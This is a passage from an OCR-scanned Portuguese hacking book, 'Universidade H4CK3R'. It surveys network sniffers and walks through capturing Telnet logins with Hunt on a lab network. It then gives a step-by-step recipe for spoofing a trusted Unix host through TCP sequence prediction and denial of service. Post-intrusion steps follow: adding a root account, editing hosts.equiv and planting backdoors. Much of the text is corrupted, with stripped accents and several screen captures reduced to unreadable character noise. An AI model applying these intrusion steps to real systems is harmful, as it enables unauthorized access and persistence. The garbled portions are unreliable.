esperar. O trfego vindo de A em direo a B vai passar por H antes. Nem A nem B vo desconfiar disso, pois, para eles, a comunicao apenas entre os dois. Esse tipo de configuSniffer Ativo: ao! rao de ataque normalmente chamado de "man in the middle".

Escolhendo seu sabujo


H um nmero gigantesco de ferramentas de sniffing que podem ser usadas em diversas plataformas. Eis alguns: ~ tcpdump (www.tcpdump.org). a ferramenta nativa de monitoramento de rede de qualquer Unix. J vimos o funcionamento do tcpdump no captulo Redes lI. Colocando a placa de rede em modo promscuo (por exemplo, com ifconfig no Linux) e rodando o tcpdump, tem-se o mais bsico possvel (mas no por isso menos eficiente) sniffer de rede para Unix. A vantagem de se usar o tcpdump que todos os Unices j o possuem - o invasor no precisa instalar nada, s rodar o programa e direcionar a sada para um arquivo. O comando seria:

12771

IAtaque,

defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

# tcpdump

[opes]

> arquivo. de. sada

Uma verso do tcpdump para Windows pode ser encontrada em windump. polito.it.
JPT raf TCPConnections (SOU''C8 Host :Por.t) r-I--65-71-187-100.dsl.d<C\P<...:358E mflj-bocd..ozmo.mo,1214 [68.10.252.64.sret.oot,3676 mflj-bocd..ozmo.mo,1214 rlXPOl238"108pcs. frsrc101..i.moca,1214 mflj-bocd..ozmo.mo'l176 [ool"18ba()fc2.~."'tmlire.net'l~ 208.100.255.153,2019
e16.49.88.~00:www 61.9.18.19.1298

P"ckets B~tes F1""s > 844 > 511 1263J48 26374 --A--A> 651 962504 > 465 21816 --A--A> > > > 515 390 316 225
4 7 199 193

Face ethO ethO ethO ethO ethO ethO ethO ethO


ethO ethO ethO ethO

~32 18006 --A--A4n352 --A1= --A1246 878 -PA-PA-

~ IPTraf (iptraf.seul.org ), O av de todos os sniffers Unix, ainda pode ser efetivamente usado em uma sesso de sniffing. Apesar de sua idade, recursos poderosos. J Vale a pena dar uma conferida. Uma de suas vantagens que, comum I como o tcpdump, ' encontr-Io j instalado - pou! pando trabalho, recursos e no levantando suspeitas.

=
=
fmo ~4

pcO:H>acd..ozmo.mo'3329
rserver13.icinternet.coo:www TCP: 189entr'ies

11885 --A292671 -A-

I possui

fk:tive

Ib1-IP (M)

(162 ~)

to 0180c200000000 ethO

~~~(JIT~f'f:'
frn-IP (M) ,,~IP (M) (13O~) (~-~)

H}f' echo rply (84 ~)

fmo ~ fmo ~

(~T:Er~~~~~~:~f~~f~'i
to 01~

w1.scd.yaIuo.moto rikEr.'ozcuo.mo (src on elliJ . to 018Oc2Ooo0oo on elliJ . ,

~ Ethereal (www.ethereal.com). um sniffer poderoso, que suporta vrios protocolos, marca-os com cores diferentes e interpreta seus significados. Possui uma interface grfica muitssimo amigvel. mais usada por administradores, mas til tambm para crackers malintencionados. Disponvel para Windows e Unix. Os autores recomendam.

ff:ff: ff: ff: ff: ff bam.zing.or" 192.168.0.1 bam.zing.org slashdot.org b"nqing.arg slashdot.org slashdot.org bam.zing.org 11 12 13 14 15 0.29"019 0.294194 0.298fi41 0.370983 0.372207 bam.zing.org slashdot.org bam.zing.or9 slashdot.org slashdet.erg ,:"~",i~MM
51 ashdot.org bam.zing.org slashdot.org bam.zing.erg bam. zing. org d25.hoo"or" TCP HTTP TCP HTTP HTTP Ten

Who has 192.1&8.0.1? Tel1 192.168.0.2 192.168.0.115 at OO:eO:29:68:8b:fb Standard query A 51 ashdot. org Standard query rasponse A 64.28.67.150 2741 > 'li"'! [SVN] Seq~195095a524 Ak=O Win-321 'li"'! > 2741 [SVN, ACK] Seq-1976068085 Ack-1950 2741 > 'li"'! (ACK] Seq-1950958525 Ack-197G680E GET / Hm/1.1 'li"'! > 2741 IACK] Seq-1976068086 Ack-19509591E GUJIfJi"-"'." 2741 > 'li"'! [ACKJ Seq-1950959165 Ack=19760695, Conti nuati on 274.1 > 'li"'! [ACK] Seq-1 9509591 65 Ack-197607098 Conti nuati on Conti nua,ti on

ltI Frame10 (1514on wire. 1514<aptured) ltI Ethe rnet II ItIInternet Pretocol. Src Addr: slashdot.org (64.28.67.150). Ost Addr: bam.zing.org (192.168.0.2) HlTran5mission Control Protocolo Src Porto 'li"'! (80), Ost Porto 2741 (2741). Seq: 1976068086. Ack: 1950959165. S Hypertext Trahsfer protocol HTTP/1.1 200 OK\r\n Date: Wed, 02 ]an 2002 00: 52: 37 GI>If\r\n Server: Apache/1.3.20 (Unix) mod_per1/1. 25 mod_gzip/1. 3.1 9.1 a\r\n X-Power.d~By: Slash 2.003000\r\n X-Bender: In the event ef ao emergency. my a5S <an be used as a flotation device. \r\n

Len:

2781
Ataque, defesa e contra-ataque: Invaso

Universidade 3ano

7'",,,",,

O"""",,,

""""",,,,,,,,,,, 'M'","n,'" ""'m Ci,]d,0,"0com "',','""","

"""" "'",,,,,

,,,"'", ",,,.",,ff,,", ,,~,,1i.., 6< '''''''',m(O"" ""',, ,h,,'"~,,,,,, ("n,U) ",,"".'.1."'''.1.1.05) """,,,,", b,""h'",.'~("o.","', V'''"~''''''''"ff'' "",,,1.,,, "ci, '"'" (, 5o"",,,,,,",",,",", '>1'''''00,,,,,_(60) ""'"" o"," ,,"'''s """"',d,,,,,o' ,..o", m'580121 ""',, ,.."h' "'"''
P ".. 0,00'" U'C<' Wiooo","" 3"6<

",""fi""",O,OO63

"""...,,,"" ",,,,..,,,

"_'d,>,,''''oo' ".TE",.'~.". "" MO ".01, " , h_, ,,,,,,,'..', "_'1,,,",,,,' ,wn:""''"~'" """,. jp'''. '00.""". ""d,. R;;:;;';i';hi:;'~RE::"I;i,1:';;;'''''-''''iim' '"'"''''''' ;'h","",h'",5h""'''''''-C~","it"'',""'h''I'ITlE' :;"'''''mm,' mor,'",o""oo' ""~.,,,o",W "'"'.''''",,",0' AU",-""'",""',

::o"i~i~) "H1:i':;';'~:'h1;p~1id-~;:~~H:~;tA):J::~;i, '11i:;::j,h,;i"",h''''"O'tl''''k>lO", "~'I"",,'" ><"OC,,"~'"o. """""'"0 ~"''""'''",... ,,,,,,,,,,,,,..,, "'",,,... """,-0> "'-"-"p'",'F-'''T"II"ho''3"''''~'.T""",,",,I,''<k/Th'',"",h10''""'''''",',I",",,.'"~,I'

o Ethereal pode, inclusive, decodificar e extrair informaes a partir de um determinado protocolo. No exemplo acima, uma pgina HTMLfoi decodificada de dentro de uma srie de pacotes TCP: ~ Sniff'em (www.sniff-em.com). um sniffer comercial para Windows. Faz sozinho tudo o que o Ethereal, o Ettercap, o Snort e o Dsniff fazem juntos, mas pago. Na opinio dos autores, no vale a pena pagar para ter algo que pode ser obtido gratuitamente com ferramentas menores, mas usurios de Windows gostam de ter tudo integrado num nico programa. Um dos diferencias do Sniff'em sua capacidade de monitorar interfaces no-usuais como sadas seriais, USB e modems RAS e RDSIIISDN. ~ Snort (www.snort.org) um detector de intrusos (IDS) que serve tambm como sniffer. muito conhecido por analisar de forma perfeita os logs do Squid. Tem a seu favor, alm de sua coleo de truques, uma vasta lista de plataformas na qual roda, incluindo a Linux, Solaris, *BSD,HP-UX,IRIX, MacOS X, AIX e Windows. ~ Sniffit (reptile.rug.ac.be/-coder/sniffit/sniffit.html) trabalha exclusivamente em Unix, mas venerado pela comunidade por suas capacidades de sniffing quase esotricas. Possui dois modos de operao. O tradicional (sniff mode) faz o que qualquer sniffer faz: grava todo o trfego da rede. Um segundo modo, chamado de interativo, permite que o hacker veja o que est trafegando na rede em tempo real. possvel escolher apenas um protocolo para monitorar, e existem ftltros que escondem toda a complexidade inerente dos protocolos, mostrando apenas os dados teis. Com o sniffit, possvel inclusive ver o que a vtima est digitando em um programa de mensagens instantneas como o MSN Messenger ou o ICQ - tudo isso em tempo real!
1279 I

]Ataque, defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

~ Hafiye (www.enderunix.org/hafiye) um sniffer baseado em knowledge-base. Possui um banco de dados com padres dos mais diversos protocolos de comunicao e criptografia e capaz de separar os dados teis de dentro de um pacote. ~ Kismet (www.kismetwire1ess.net) um farejador de redes wire1ess (802.11) nos moldes do IPTraf e tcpdump.Alm de ser capaz de decodificar os protocolos pertinentes, consegue dividir as redes por rea e por clula de rdio. Desenvolvido especialmente para Linux, suporta nativamente o PDAZaurus, da Sharp, com placa de rede wireless. Uma boa pedida para War Driving. ~ USB Snoop (sourceforge.net/pro;ects/usbsnoop) monitora e grava todo o trfego entre o driver do dispositivo USB e o prprio dispositivo. til para engenharia reversa de drivers (para, por exemplo, produzir um driver Open Source), mas tambm pode ser usado para monitorar o trfego de modems USB.Uma rede criptografada e superprotegida pode ser "descadeirada" se um laptop for ligado a um computador de mesa ligado a ela pelo USB. ~ APS- AdvancedPacket Sniffer(wwws-wrtec.de/clinux) outro exemplo de programa minsculo que pode ser usado para farejar pacotes. Como extremamente dependente do kemel, funciona apenas em linux, mas sua interface simples e intuitiva em modo texto permite sua operao remota sem sobrecarregar a conexo. ~ Hunt (lin.fsid.cvut.cz/-kra/index.html) no apenas um sniffer, mas uma ferramenta completa de explorao de falhas na pilha TCP/lp. Suporta tudo o que um sniffer deve ser capaz de oferecer: vigiar diversos tipos de protocolos (ICMp,TCp, ARP), montar mensagens fragmentadas a partir de pacotes TCP seqenciais, detectar ACK Storms, seqestrar sesses (hijacking) e "aprender" os MACs da rede, entre muitos outros truques. Por ser muito didtico, o preferido dos professores de cursos de redes e segurana - foi, inclusive, desenvolvido por um professor de matemtica da Universidade de Praga, Pavel Krauz. Com o Hunt, podemos facilmente colocar-nos como man in the midd1e numa conexo, registrar tudo o que estiver sendo transmitido, manipular os dados e at mesmo termin-Ia (reset). ~ ettercap (ettercap. sourceforge.net) um excelente sniffer ativo, ou seja, especial para ser usado em redes com switches. Suporta MAC Flood e ARP SpOOflllge extremamente fcil de usar. Como funciona em modo texto, fica facilmente operacional em qualquer mquina Unix e extremamente pequeno. Atacar com o 280
I

Ataque, defesa e contra-ataque:

Invaso [

Universidade 3ano

ettercap brincadeira de criana: primeiro, escolhe-se a dupla de mquinas que se quer monitorar as comunicaes. Escolhe-se, entre as conexes TCP ou UDP estabelecidas (pode haver mais de uma), qual a que se quer monitorar. Depois disso, a tela mostra os dados que trafegam entre as duas mquinas. Pode-se grav-Ios, examin-Ios em modo ASCII ou hexadecimal ou injetar caracteres na trasmisso (e assim manipular a conexo). H plugins e novos mtodos de sniffing com nomes sugestivos, como Port Stealing, Hunt, Confusion... As possibilidades- so enormes! ~ Angst (angst.sourceforge.net), desenvolvido e testado para o OpenBSD, uma ferramenta que tem a seu favor a robustez e o tamanho diminuto - alm de fazer sniffing ativo. Possui menos recursos que seus primos mais ilustres como o ettercap e o dsniff, mas pequeno o bastante para passar despercebido em uma mquina invadida. Funciona tambm com FreeBSD e Slackware Linux, outras plataformas Unix requerem recompilao e testes. ~ Dsniff (www.monkey.org/-dugsong/dsniff) , na atualidade, o mais respeitado sniffer ativo para redes comutadas. Foi testado pelos autores em OpenBSD e Linux em PCs e Solaris em mquinas SunSPARC,mas j foi testado em praticamente todos os sabores Unix conhecidos, entre eles AlX, FreeBSD, HP-UX e at Mac OS X (blafasel.org/-floh/ports/dsniff-2.3.osx.tgz). H ainda uma verso (desatualizada mas funcional) para Windows, disponvel em www.datanerds.net/- mike/ dsniff.html. Apesar dos sniffers mais simples serem mais fceis de "plantar" e usar, h outros, mais elaborados, que so verdadeiras obras-de-artedo mal. O tcpdump sozinho em uma mquina Unix j poderia fazer muito estrago, e tem a vantagem de j estar instalado. Por outro lado, mquinas Wm9x permitem que um invasor "esnife"a rede (usando, por exemplo, o Wmdump ou o Ethereal) sem invadir mquinas muito complicadas ou seguras. Como qualquer usurio de Wm9x tem controle total sobre a mquina, possvel rodar um sniffer nela sem precisar quebrar nenhuma senha de administrador.A insegurana inerente a essa arquitetura auxilia o inimigo. Qualquer servidor ou estao, sejam eles Unices, Macintoshes, Netwares ou Wmdows NT/2kj XP, pode ser um perigo se mal configurados.Entretanto, redes com estaes Wmdows 95/98/Me nunca sero seguras, qualquer que seja o esforo dispendido nelas. Para mais opes, procure por "sniff" no Fresmeat (www.freshmeat.net) ou no Goog1e (www.goog1e.com). O download.com tambm possui diversas opes para Windows, e os CDs do livro tambm trazem mais alguns deles. Uma ltima dica sobre sniffers (e outras ferramentas): pedram.redhive.com. 1281
1

Ataque, defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

Farejando na prtica
Nada como uma sesso de sniffmg para fIxar os conceitos aprendidos. Poderamos exemplificar esse procedimento com um sniffer grfico como o Ethereal, que possui uma verso para Windows e uma bela interface de comando. O Ethereal ainda separa e interpreta os protocolos para voc, de modo a fazer o mximo possvel do "trabalho sujo" e deixar ao administrador de rede apenas com as informaes teis, "mastigadas". Mas lembre-se: se voc est explorando uma rede remota, possivelmente vai deixar seu sniffer rodando sozinho para depois recuperar o arquivo contendo o trfego. A interface grfica, os "frufrus" e a inteligncia do Ethereal de nada adiantaro nesse ambiente. Antes de comear nosso estudo, dois lembretes. Em primeiro lugar, observe que sua conexo domstica Internet provavelmente se d por um protocolo de camada 2 chamado de PPP ou Point-to-PointProtocol. Como o nome j diz, um protocolo ponto a ponto: sua rede local possui apenas duas intetfaces, a de sua mquina e a do modem do provedor de acesso.Justamente devido ao PPp,voc no poder farejar o trfego na subrede de Internet qual voc est (aparentemente) conectado. Em uma ligao empresarial - normalmente por linha privada usando Frame Re1ayou X.25 e no PPP - possvel (embora no muito provvel devido a ftrewalls e roteadores) que a subrede da Internet determinada para a empresa possa ser farejada. De qualquer forma, um sniffer til apenas em estruturas de conectividade internas, onde h verdadeiramente vrias mquinas trafegando informaes na mesma rede local. O outro lembrete no menos importante. Existem trs condies bsicas para se poder "esnifar" a rede: 1. Existir uma rede com pelo menos 3 mquinas (as duas que se quer monitorar mais a sua, que monitorar as outras duas). 2. Possuir acesso de superusurio (root para Unix e Mac OS X ou Administrador para WinNT/2k!XP - mquinas com Win9x no precisam de nada disso...) na mquina que fIcar em modo promscuo e farejar a rede. 3. Possuir autorizao para fazer a monitorao e alertar os usurios da rede para tal. No condio impeditiva para iniciar o sniffIng, mas tico. Todos tm direito, garantido por lei, privacidade. Se sua empresa possui uma poltica de monitorao de trfego, esta deve ser informada aos funcionrios. Isso posto, vamos ao que interessa. Em nosso primeiro estudo, usaremos o Hunt. O programa possui uma interface com o usurio em modo texto que, apesar de singela, muito funcional. No vamos entrar em detalhes sobre a instalao do programa - h intrues para isso na documentao que o acompanha. Em nossa rede de testes (Laboratrio de Redes 11),instale o Hunt na mquina Unix. Ela ser nossa mquina "haxor". Vamos monitorar uma conexo entre a mquina Windows e a mquina "coitada". Para que possamos acompanhar melhor a conexo, vamos abrir uma sesso de Telnet, que um protocolo interativo
e que funciona em texto simples - perfeita para ser monitorada plicidade e baixa velocidade. Observe: pela sua sim-

12821
Ataque, defesae contra-ataque: Invaso [

Universidade 3ano

Unix
Hunt

Coitada Telnetd

Windows
Telnet

192.168.1.3

Na Coitada (192.168.1.2) estamos rodando run servidor de Telnet (no esquea de ativ-Io!).Na mquina Unix, execute o Hunt. Ser mostrada runa tela como esta:
/* *

*
*

hunt 1. 5 mu1tipurpose connection intruder / sniffer for Linux (c) 1998-2000 by kra

*/ starting hunt - Main Menu - rcvpkt O, free/a11oc 63/64 --l/w/r) 1ist/watch/reset connections u) host up tests a) arp/simp1e hijack (avoids ack storm if arp used) s) simp1e hijack d) daemons rst/arp/sniff/mac o) options x) exit
->

o smbolo -> O prompt do Hunt. Observe o menu. H rotinas para listar, observar e derrubar conexes, verificar servidores online, faze hijacking etc. Temos que configurar o Hunt para que passe a escutar nossa rede. Observe: as opes l/w/r, respectivamente, listam todas as conexes ativas, vigiam uma delas e interrompem-na (reset). Para que funcionem, necessrio que haja alguma conexo ativa. Escolha a opo "o" (options) e pressione a tecla Enter. Um novo menu ser apresentado:;
-> o - options - rcvpkt 723, free/a11oc 63/64 --1) 1ist add conn po1icy a/m/d) add/mod/de1 conn po1icy entry c) conn 1ist properties mac n, seq n g) suggest mac base EA:1A:DE:AD:BE:00 h) host reso1ving n t) arp req spoof through req

y
1283 I

Ataque, defesa e contra-ataque:

Invaso

Universidade H4CK3R

r) reset ACK storm timeout s) simple hijack cmd timeout q) arp req/rep packets p) number of lines per page i) print cntrl chars x) return -opt> So

4s 2s 2 O y

w) y) e) v)

switched environment arp spoof with my mac learn MAC from IP traffic verbose

y n n n

inmeras

opes. Por enquanto, vamos o que chamado, regra de conexo numa

nos ater s mais bsicas.As opes

a/m/d manipulam Basicamente, uma

traduo livre, de regras de conexo. pela qual dizemos ao Hunt

a maneira

quais conexes

queremos

monitorar. Vamos

adicionar uma

regra (opo "a").

-opt> a src ip addr/mask ports [0.0.0.010]>


o programa pede o endereo IP e a mscara de rede da interface de origem

(src)que queremos monitorar. No nosso caso,a interface de origem aquela


que vai fazer conexo mquina Windows. com um servidor telnet,portanto colocaremos do que aprendemos zero em em a o IP da indica se Lembrando Redes 11, O (zero) quer

dizer "todos". Portanto, colocar um que todas as mquinas com

qualquer lugar do endereo

aquele prefIxo sero monitoradas. Por exemplo,

eu colocasse 192.168.1.1/32, eu monitoraria os pacotes originados nessa mquina. Se eu colocasse, por outro lado, 192.168.1.0/24, o Hunt cotes de todas as mquinas 192.168.1.254. Num caso extremo, farejaria os paque dizer

da rede 192.168.1.0, ou seja,entre 192.168.1.1 e colocar 0.0.0.0/0 seria o mesmo

ao programa: "Vasculhe TUDO!"

De maneira similar, preencha o endereo de destino. A prxima pergunta (insert at) simplesmente para defInir em que posio da lista nossa regra aparecer. A opo "1"lista as regras de conexo existentes. Em nosso caso, teramos:
-opt> 1

O) 0.0.0.010 [alI]
1) 192.168.1.1/32 [alI] -opes do menu-*opt>

<->

O. O . O . O 1 O

[23

513]

<-> 192.168.1.'2/32

[alI]

Observe que temos um asterisco no prompt. O Hunt est nos indicando que as mquinas esto "vivas" na rede. Para sair do modo opes, usa a opo "x". De volta tela inicial, temos a opo de listar ("1") as conexes ativas~ Experimente e veja: no h nenhuma conexo no momento. Vamos criar uma ento.

:841
Ataque, defesa e contra-ataque: Invaso r

Universidade 3ano

Na estao Windows (192.168.1.1) vamos fazer uma conexo de Telnet para a "Coitada". Abra uma janela do DOS e digite telnet 192.168.1.2. Se tudo estiver certo, vai aparecer a tela de login da mquina "Coitada" na janela de Telnet da mquina Windows. Na mquina Unix, volte ao Hunt e escolha a opo "I" novamente. Mgica: apareceu a conexo entre 192.168.1.1 e 192.168.1.2.A porta de origem alta (como deveria ser, leia o captulo Redes 11e a RFCI700), e a de destino a 23 - a porta do servio Telnet. Vamos, ento, pedir ao Hunt que mostre o trfego para ns. Escolha a opo "w" (watch), escolha qual conexo quer monitorar e, em seguida, a opo "b" (both). Volte mquina Windows e d seu login e senha. Se voc observar no Hunt, essas informaes sero mostradas l. Caso o login seja bem sucedido, o promp do shell Unix aparecer no Telnet da mquina Windows - e tambm na tela do Hunt, que est numa mquina que nem participou da transao! Faa vrias experincias: liste diretrios, edite textos com seu editor favorito ou chame algum programa - todas essas atividades sero monitoradas pelo Hunt. Para o Hunt, esse o bsico. Por sua simplicidade, acaba ficando limitado em possibilidades, mas muito til na maioria dos casos. bvio que h muito mais a explorar sobre o programa, mas deixo isso como dever de casa. Brinque com o Hunt por alguns dias, fareje sua rede, leia toda a documentao e procure por mais recursos na Internet. Depois, tente tambm brincar com o Snort, o Sniffit, o Ethereal e o IPTraf, tanto em Unix como em Windows. Use tambm algumas das ferramentas simples disponveis nos CDs. Parar uma semana ou duas para tal seria o desejvel, e s depois disso prossiga a leitura. Valer a pena - e ser divertido!

Quando a caa v
o Hunt um timo (e didtico...)
sniffer, mas tem um problema insolvel

para os modelos clssicos de sniffers: no ustrapassa sniffers ou switches. Para as redes comutadas, necessrio utilizar sniffers apropriados, que faam ARP Spoofmg ou, pelo menos, MAC Flood. Dois sniffers o fazem de forma magistral: Ettercap e Dsniff. J falamos sobre ARP Spoofmg e MAC Flood h algumas pginas. Estude a documentao e experimente ambos os programas. Adicionalmente, sugerin}os que o leitor procure mais informaes sobre os seguintes mtodos de sniffmg: ~ SSL Spoofmg (falseando ou manipulando certificados digitais); ~ DNS Spoofing (desviando o trfego Web para servidores falsos); ~ Snarfmg (uma maneira de "pentear" os pacotes TCP/UDP para extrair deles apenas a informao que mostrada na tela da vtima: e-mail, mensagens instantneas, pginas da web...).

1285 I
] Ataque,defesa e contra-ataque: Invaso

I Universidade

H4CK3R I

Who can you trust?


Just say enough is enough / Oh I gotcha / W'ho who who can you trust7 Urna maneira de se conseguir um Spoofing mais efetivo atravs das relaes de confiana (ou trust relations) entre computadores. Isso permite que um computador possa ter acesso a vrios recursos fazendo login em apenas um sistema.

Observe: existe uma mquina servidora (vamos cham-Ia de "S") que possui relao de confiana com outras mquinas (vamos cham-Ias "TI", "T2", "T3" etc.). Se o usurio logar-se na mquina S, automaticamente ter acesso a recursos das mquinas "T". Enquanto essa facilidade "quebra um galho" para administradores de rede e permite que usurios loguem-se em apenas um sistema para ter acesso a vrios, se um hacker conseguir fazer-se passar pela mquina que tem a confiana poder ter acesso a todas as outras, que "confiam" nela. Tanto sistemas Unix quanto Windows (e tambm Novell...) possuem facilida. des parecidas. O Windows 2000 possui um recurso chamado Advanced Directory Service (ou ADS), que detm o cadastro de todos os usurios e mquinas da rede e as relaes entre eles. O usurio, ao logar-se em um domnio Windows, tem seu nome e senha comparados com os do ADS e, caso aceitos, todos os servios so disponibilizados. A Novell possui um produto chamado eDirectory (www.novell.com/pt-br/ products/edirectory) baseado em um ncleo, o Novell Directory Service ou NDS. O software opera da mesma forma que o ADS da Microsoft, com um diferencial: no est restrito aos produtos Novell. Na realidade possvel, atravs do eDirectory, criar conexes para todos os tipos de plataformas de software

7. '~penas diga que j teve o bastante / Hehe, eu pegei voc / Em quem, em quem, em quem voc pode confiar?"JoanJett, Who can you trust. Do album "Cherry Bomb, de 1995.

12861
Ataque, defesa e contra-ataque: Invaso [

Universidade 3ano

e hardware imaginveis, incluindo a Unices, Windows e mesmo sistemas de grande porte. Tanto o eDirecory quanto o ADS baseiam-se num padro chamado Lightwheight Directory, Access Protocol ou LDAP. H verses do LDAP disponveis para diversos sabores de Unix. Uma das mais famosas o OpenLDAP (www.openldap.org). verso livre, gratuita e de cdigo aberto. O LDAP uma forma segura de prover, para aplicaes Unix (e tambm Windows e Macintosh...), o chamado sing1e-sign-on(ou log-se apenas uma vez) e ter acesso a vrios recursos disponveis em pontos distantes da rede. Mas os sistemas Unix possuem dois antepassados desses servios: o NIS (Network Information Service) e o famigerado Unix Trust. Por sua idade, ambos so extremamente inseguros e facilmente hackeveis. Falaremos do NIS mais para frente, j que sua falha no se trata de IP Spoofmg. O Unix possui uma srie de comandos, todos iniciando em "r" (de remote) que permitem que diversos sistemas possam ser operados sem que seja preciso autenticar-se em cada um deles. Imagine, por exemplo, que o usurio est logado na mquina A.A mquina B confia em A, portanto permitir que os comandos "r" sejam executados nela tambm. Por exemplo, se o usurio da mquina A emitir o comando rlogin IP.DE.B,ser presenteado com um shell da mquina B sem que seja necessrio fornecer usurio ou senha. B confia em A, ento B confia nos usurios de A... Da mesma forma, h os comandos rsh (remote shell - permite a execuo de apenas um comando), rcp (remote copy), rmail (l e-mails no outro sistema) entre outros. Para que seja permitida a execuo dos comandos, necessrio que o IP de A esteja contido no arquivo /etc!hosts.equiv de B.Todas as mquinas cujo IP esto em /etc!hosts.equiv de B so de confiana para B.Alm desse arquivo, cada usurio de B pode ter, em seu prprio !home, uma lista de mquinas nas quais confia, guardada no arquivo .rhosts.

Confiana

letc/hosts.equiv -IP.DE.A -IP.DE.H

No exemplo acima, todas as mquinas "S"e "T" so Unix.As estaes podem ser qualquer coisa. Em cada uma das mquinas "T" mostradas, h um arquivo, o /etc!hosts.equiv, contendo o IP de "S".Assim, todos os usurios que se logarem em "S"podero ter acesso aos recursos das mquinas "T". possvel crial shell scripts com os r-comandos, por exemplo, para automatizar o processo e facilitar a vida desses usurios.

12871
1

Ataque, defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

Mas o que acontece quando usamos os r-comandos? O usurio est logado em "s" e, por meio de um comando rlogin, conseguiu um shell de "T3" sem que fossem solicitados um usurio e uma senha vlidos em "T3". Ocorre que, na prtica, o usurio est logado em "T3", e todas as suas aes sero originadas de "T3" (e no de "s" ou de "H", sua estao de trabalho...). Se o invasor usar algum scanner contra o site de uma empresa, ou tentar conectar-se por bruteforce a um servio na Internet, ser o IP de "T3" que ser registrado, no o de "s" e muito menos o de "H". Agora que a mgica acontece. Se formos usurios j cadastrados em "S",no h problema. Basta logarmos em "S",dar um rlogin para T3 e us-lo.Mas e se no formos? E mesmo se formos, seremos registrados nos logs de "S",ento o que fazer? possvel "envenenar" uma relao de confiana entre duas mquinas usando spoofmg, um pouco de sniffing e uma pitada de negao de servio. Imagine uma rede corporativa onde h uma mquina chamada SERVLOGIN, na qual os usurios sero autenticados, e outras, cada uma com um nome alusivo ao recurso que ela disponibiliza (por exemplo, IMPRESSORA, FISCAL,INTRANET, VAX, FINANCEIRO, entre outros...). Todas essas mquinas usam o jetcj hosts.equiv para "confiar" no julgamento de SERVLOGINno tocante a quais usurios tm permisso para acessar seus recursos. Imagine tambm que, em algum lugar ignorado na Internet, h uma mquina "H" que deseja conectar-se a algum computador interno.

Para realizar a tarefa a contento, temos que partir de algumas premissas: ~ Em primeiro lugar, temos que ter em mente que "H" no est na mesma LAN que SERVLOGINou qualquer uma das outras mquinas. Pelo contrrio, est l - beeeem longe - na nuvem da Internet. Por isso mesmo, impossvel "esnifar" o que ocorre na LAN. ~ De alguma maneira j descobrimos que SERVLOGIN considerado "confivel" pelos outros servidores. Descobrimos isso porque invadimos IMPRESSORA, por exemplo, ou o prprio SERVLOGIN, e consultamos os arquivos .rhosts ou jetc!hosts.equiv ou mesmo os logs do sistema, procura de sinais de conexo por Unix Trust.

12881
Ataque, defesa e contra-ataque: Invaso

Universidade 3ano

~ Nosso objetivo , ento, traado: queremos que uma das mquinas (por exemplo, INTRANET)"pense" que "H" , na realidade, SERVLOGIN.Com isso, teremos um shell em INTRANET,com um IP disposio para usarmos vontade em nossas maldades por a... Vamos dar uma "receitinha de bolo" para esse ataque. a melhor maneira de explicar a teoria de cada um dos passos necessrios. Para maior clareza no texto, chamaremos cada um dos computadores apenas por seus nomes (Le. "H" em vez de "a mquina H" ou "s" em vez de "o servidor S"). 1. "H" inicia vrias - na verdade, milhares de - conexes reais, sem impostura (ou seja, sem spoofmg), para INTRANET."H" envia vrios pacotes SYN e espera pelos ACKs de INTRANET.Baseado nesses ACKs, "H" pode inferir (ou antes, adivinhar) a progresso de nmeros seqenciais TCP gerados por INTRANET.Com isso, "H" pode ter uma idia dos nmeros a usar mais pata frente, quando estiver conectando ao sistema INTRANET. 2. Depois disso (ou simultaneamente, caso o invasor possua outra mquina) lana-se um ataque de negao de servio contra SERVLOGIN. Com SERVLOGINfora da jogada, impedimos que o mesmo envie um pacote TCP RST e derrube nossa conexo "spoofada". 3. Usando um dos r-comandos, "H" inicia uma conexo a INTRANETusando o IP de SERVLOGIN. A INTRANET responde com um ACK para SERVLOGIN, que est fora de combate devido negao de servio. 4. Agora,a mgica:"H"envia umACK para INfRANET,com o IP de SERVLOGIN
e uma estimativa do nmero seqencial TCP

- calculado pela progresso detecta-

da no passo 1 mais o tempo que o processo todo levou at chegar aqui. 5. Caso tenha acertado na mosca (o hacker possui apenas um tiro...) a comunicao estabelecida e mantida enquanto SERVLOGINestiver fora do ar. Se tiver errado, o invasor pode repetir a receitinha at acertar. Algunssistemas so idiotamente fceis de prever a seqncia Tcp, outros nem tanto, e h uns poucos onde essa seqncia (?) quase aleatria (?!?!??). A predictabilidade
dela dir se o sistema facilmente hackevel por esse mtodo - ou no.

Lembra daquelas velhas cantigas do tipo "Joo amava Maria que amava Pedro..."? Pois .No passo 3,"H"iniciouuma conexo com INTRANEffingindo ser SERVLOGIN. Para iniciar essa conexo, usou um r-comando (por exemplo, um rlogin). Se o hacker acertou a seqencia TCp, foi presenteado com um shell de INTRANET.S que INTRANET"pensa" que quem iniciou a comunicao SERVLOGIN, e manda as respostas para essa mquina. Resultado:"H" pode emitir comandos, mas no tem a mnima idia se esto fimcionando ou no - no h feedback na tela. Enquanto isso pode parecer suficiente para um estrago qualquer (assim como nas vulnerabilidades discutidas anteriormente, como o estouro de pilha ou os CGIs "amigos"), o hacker pode usar esse shell (e tambm o do estouro de pilha, bem como o dos CGIs...) para configurar rapidamente um backdoor em INTRANET. No se esquea que SERVLOGINest tinto com a negao de servio, mas recobrar os sentidos a qualquer momento e cortar a comunicao

12891

] Ataque,

defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

(com um TCP RST) entre INTRANETe "H". Entre as coisas que o invasor pode fazer na mquina INTRANET esto: ~ Colocar o IP de "H" no /etc!hosts.equiv; ~ Criar um usurio com direitos de root no /etc/passwd; ~ Implantar qualquer tipo de backdoor. H mais opes alm dessas. A partir dessas alteraes, o hacker pode instalar vrios backdoors, incluir mais mquinas no hosts.equiv (ou mesmo o smbolo + +, que faz com que INTRANET confie em qualquer um...) e criar outras contas no sistema. claro que administradores atentos logo notaro tais mudanas, por isso bom usar essa mquina para rapidamente "Ownar" outras. No esquea ainda que, por mais engenhoso que o procedimento seja, ferramentas de IDS e auditoria de arquivos logo descobriro a faanha. Como tarefa para casa, sugerimos ao leitor que procure documentao na Internet sobre os seguintes tipos de Spoormg: ~ DNS Spoofing ~ Source Routing ~ Proxy Spoofing ~ Daisy-chain Spoormg

Captura de sesses (Hijacking)


